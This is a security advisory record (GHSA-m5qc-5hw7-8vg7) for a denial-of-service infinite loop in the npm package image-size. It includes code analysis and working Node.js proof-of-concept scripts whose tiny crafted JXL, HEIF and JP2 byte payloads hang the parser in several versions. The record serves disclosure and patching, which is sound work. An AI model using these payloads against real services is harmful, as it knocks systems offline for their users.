{"id":"GHSA-m5qc-5hw7-8vg7","summary":"image-size Denial of Service via Infinite Loop during Image Processing","details":"### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n  const byte = input[0]\n  if (byte in firstBytes) {\n    const type = firstBytes[byte]\n    if (type && typeHandlers[type].validate(input)) {\n      return type\n    }\n  }\n\n  const finder = (key: imageType) =\u003e typeHandlers[key].validate(input) //\u003c--\n  return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `'JXL '`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n  validate: (input: Uint8Array): boolean =\u003e {\n    const boxType = toUTF8String(input, 4, 8)\n    if (boxType !== 'JXL ') return false      //\u003c---\n\n    const ftypBox = findBox(input, 'ftyp', 0) //\u003c---\n    if (!ftypBox) return false\n\n    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n    return brand === 'jxl '\n  },\n```\n\n`findBox` can lead to an infinite loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =\u003e\n  input[offset] * 2 ** 24 +     // 0 +\n  input[offset + 1] * 2 ** 16 + // 0 +\n  input[offset + 2] * 2 ** 8 +  // 0 +\n  input[offset + 3]             // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) {   // offset: 0\n  if (input.length - offset \u003c 4) return\n  const boxSize = readUInt32BE(input, offset)           // 0\n  if (input.length - offset \u003c boxSize) return           // (8 - 0) \u003c 0 =\u003e false\n  return {\n    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '\n    offset,                                             // 0\n    size: boxSize,                                      // 0\n  }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0\n  while (offset \u003c input.length) {         // 0 \u003c 8 =\u003e false\n    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }\n    if (!box) break                       // false\n    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' =\u003e false\n    offset += box.size                    // offset += 0\n  }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `image-size@2.0.1`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i image-size@2.0.1\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n//   0x61, 0x76, 0x69, 0x66  // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x6A, 0x50, 0x20, 0x20, // \"jP  \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n  (async () =\u003e {\n    await imageSizeFromFile(FILENAME)\n    console.log('Done') // never executed\n  })();\n}\n\nfunction poc2() {\n  imageSize(PAYLOAD)\n  console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n  createPayload()\n  const args = process.argv.slice(2);\n  const t = args[0];\n  const poc = pocs.get(t) || poc1;\n  console.log(`Running poc....`)\n  await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.2.0`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i image-size@1.2.0\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n//   0x61, 0x76, 0x69, 0x66  // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x6A, 0x50, 0x20, 0x20, // \"jP  \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n  sizeOf(FILENAME)\n  console.log('Done') // never executed\n}\n\nfunction poc2() {\n  sizeOf(PAYLOAD)\n  console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n  createPayload()\n  const args = process.argv.slice(2);\n  const t = args[0];\n  const poc = pocs.get(t) || poc1;\n  console.log(`Running poc....`)\n  await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.1.1`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i image-size@1.1.1\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n  0x61, 0x76, 0x69, 0x66  // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n  sizeOf(FILENAME)\n  console.log('Done') // never executed\n}\n\nfunction poc2() {\n  sizeOf(PAYLOAD)\n  console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n  createPayload()\n  const args = process.argv.slice(2);\n  const t = args[0];\n  const poc = pocs.get(t) || poc1;\n  console.log(`Running poc....`)\n  await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service","aliases":["CVE-2025-71319"],"modified":"2026-06-10T17:30:29.560547842Z","published":"2025-04-02T15:04:58Z","database_specific":{"cwe_ids":["CWE-770","CWE-835"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-04-02T15:04:58Z","nvd_published_at":"2026-06-09T21:17:03Z"},"references":[{"type":"WEB","url":"https://github.com/image-size/image-size/security/advisories/GHSA-m5qc-5hw7-8vg7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71319"},{"type":"WEB","url":"https://github.com/image-size/image-size/commit/8994131c7c3ee8da1699e04700c95e0e683a0c68"},{"type":"PACKAGE","url":"https://github.com/image-size/image-size"},{"type":"WEB","url":"https://joshua.hu/image-size-infinite-loop-dos-vulnerabilities"},{"type":"WEB","url":"https://web.archive.org/web/20260224152152/https://github.com/image-size/image-size/pull/439"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/image-size-denial-of-service-via-infinite-loop-in-jxl-heif-parser"}],"affected":[{"package":{"name":"image-size","ecosystem":"npm","purl":"pkg:npm/image-size"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.1.0"},{"fixed":"1.2.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-m5qc-5hw7-8vg7/GHSA-m5qc-5hw7-8vg7.json"}},{"package":{"name":"image-size","ecosystem":"npm","purl":"pkg:npm/image-size"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-m5qc-5hw7-8vg7/GHSA-m5qc-5hw7-8vg7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}